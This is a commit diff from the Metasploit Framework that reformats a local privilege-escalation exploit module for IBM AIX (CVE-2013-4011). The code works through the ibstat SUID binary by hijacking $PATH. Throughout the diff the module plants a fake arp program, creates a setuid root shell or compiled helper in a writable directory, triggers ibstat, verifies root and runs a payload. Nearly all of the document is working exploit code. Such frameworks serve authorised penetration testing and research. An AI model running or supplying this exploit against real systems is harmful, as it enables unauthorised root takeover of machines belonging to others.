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metasploit-framework
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Normalize syntax and whitespace

bug/bundler_fix
William Vu 2014-04-03 16:54:33 -05:00
parent 8611526a01
commit 6c67f1881f
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GPG Key ID: E761DCB4C1629024
1 changed files with 77 additions and 64 deletions
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139
modules/exploits/aix/local/ibstat_path.rb
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@ -4,59 +4,58 @@
##
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info,
'Name' => 'ibstat $PATH Privilege Escalation',
'Description' => %q{
This module exploits the trusted $PATH environment variable of the SUID binary 'ibstat'.
},
'Author' =>
[
'Kristian Erik Hermansen', #original author
'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', #Metasploit module
'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>', #Metasploit module
],
'References' =>
[
[ 'CVE', '2013-4011' ],
[ 'OSVDB', '95420' ],
[ 'BID', '61287' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756' ]
],
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl',
}
},
'Targets' =>
[
[ 'IBM AIX Version 6.1', {} ],
[ 'IBM AIX Version 7.1', {} ],
],
'DefaultTarget' => 1,
'DisclosureDate'=> "Sep 24 2013",
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
], self.class)
def initialize(info = {})
super(update_info(info,
"Name" => "ibstat $PATH Privilege Escalation",
"Description" => %q{
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
},
"Author" => [
"Kristian Erik Hermansen", #original author
"Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>", #Metasploit module
"Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>" #Metasploit module
],
"References" => [
["CVE", "2013-4011"],
["OSVDB", "95420"],
["BID", "61287"],
["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827"],
["URL", "http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756"]
],
"Platform" => ["unix"],
"Arch" => ARCH_CMD,
"Payload" => {
"Compat" => {
"PayloadType" => "cmd",
"RequiredCmd" => "perl"
}
},
"Targets" => [
["IBM AIX Version 6.1", {}],
["IBM AIX Version 7.1", {}]
],
"DefaultTarget" => 1,
"DisclosureDate" => "Sep 24 2013"
))
register_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
], self.class)
end
def check
find_output = cmd_exec "find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null"
if find_output.include? "ibstat"
find_output = cmd_exec("find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null")
if find_output.include?("ibstat")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
@ -88,60 +87,74 @@ chmod 4555 #{root_file}
if gcc_installed?
print_status("Dropping file #{root_file}.c...")
write_file("#{root_file}.c", c_file)
print_status("Compiling source...")
cmd_exec "gcc -o #{root_file} #{root_file}.c"
cmd_exec("gcc -o #{root_file} #{root_file}.c")
print_status("Compilation completed")
register_file_for_cleanup("#{root_file}.c")
else
cmd_exec "cp /bin/sh #{root_file}"
cmd_exec("cp /bin/sh #{root_file}")
end
register_file_for_cleanup("#{root_file}")
register_file_for_cleanup(root_file)
print_status("Writing custom arp file...")
write_file("#{arp_file}",arp)
register_file_for_cleanup("#{arp_file}")
cmd_exec "chmod 0555 #{arp_file}"
write_file(arp_file,arp)
register_file_for_cleanup(arp_file)
cmd_exec("chmod 0555 #{arp_file}")
print_status("Custom arp file written")
print_status("Updating $PATH environment variable...")
path_env = cmd_exec 'echo $PATH'
cmd_exec "PATH=#{datastore["WritableDir"]}:$PATH"
cmd_exec 'export PATH'
path_env = cmd_exec("echo $PATH")
cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH")
cmd_exec("export PATH")
print_status("Triggering vulnerablity...")
cmd_exec '/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null'
cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null")
# The $PATH variable must be restored before the payload is executed
# in cases where an euid root shell was gained
print_status('Restoring $PATH environment variable...')
cmd_exec "PATH=#{path_env}"
cmd_exec 'export PATH'
cmd_exec "#{root_file}"
print_status("Restoring $PATH environment variable...")
cmd_exec("PATH=#{path_env}")
cmd_exec("export PATH")
cmd_exec(root_file)
print_status("Checking root privileges...")
if is_root?
print_status("Executing payload...")
cmd_exec "#{payload.encoded}"
cmd_exec(payload.encoded)
end
end
def gcc_installed?
print_status("Checking if gcc exists...")
gcc_whereis_output = cmd_exec "whereis -b gcc"
if gcc_whereis_output.include? "/"
gcc_whereis_output = cmd_exec("whereis -b gcc")
if gcc_whereis_output.include?("/")
print_good("gcc found!")
return true
end
print_status("gcc not found. Using /bin/sh from local system")
false
end
def is_root?
id_output = cmd_exec "id"
if id_output.include? "euid=0(root)"
id_output = cmd_exec("id")
if id_output.include?("euid=0(root)")
print_good("Got root! (euid)")
return true
end
if id_output.include? "uid=0(root)"
if id_output.include?("uid=0(root)")
print_good("Got root!")
return true
end
print_status("Exploit failed")
false
end
end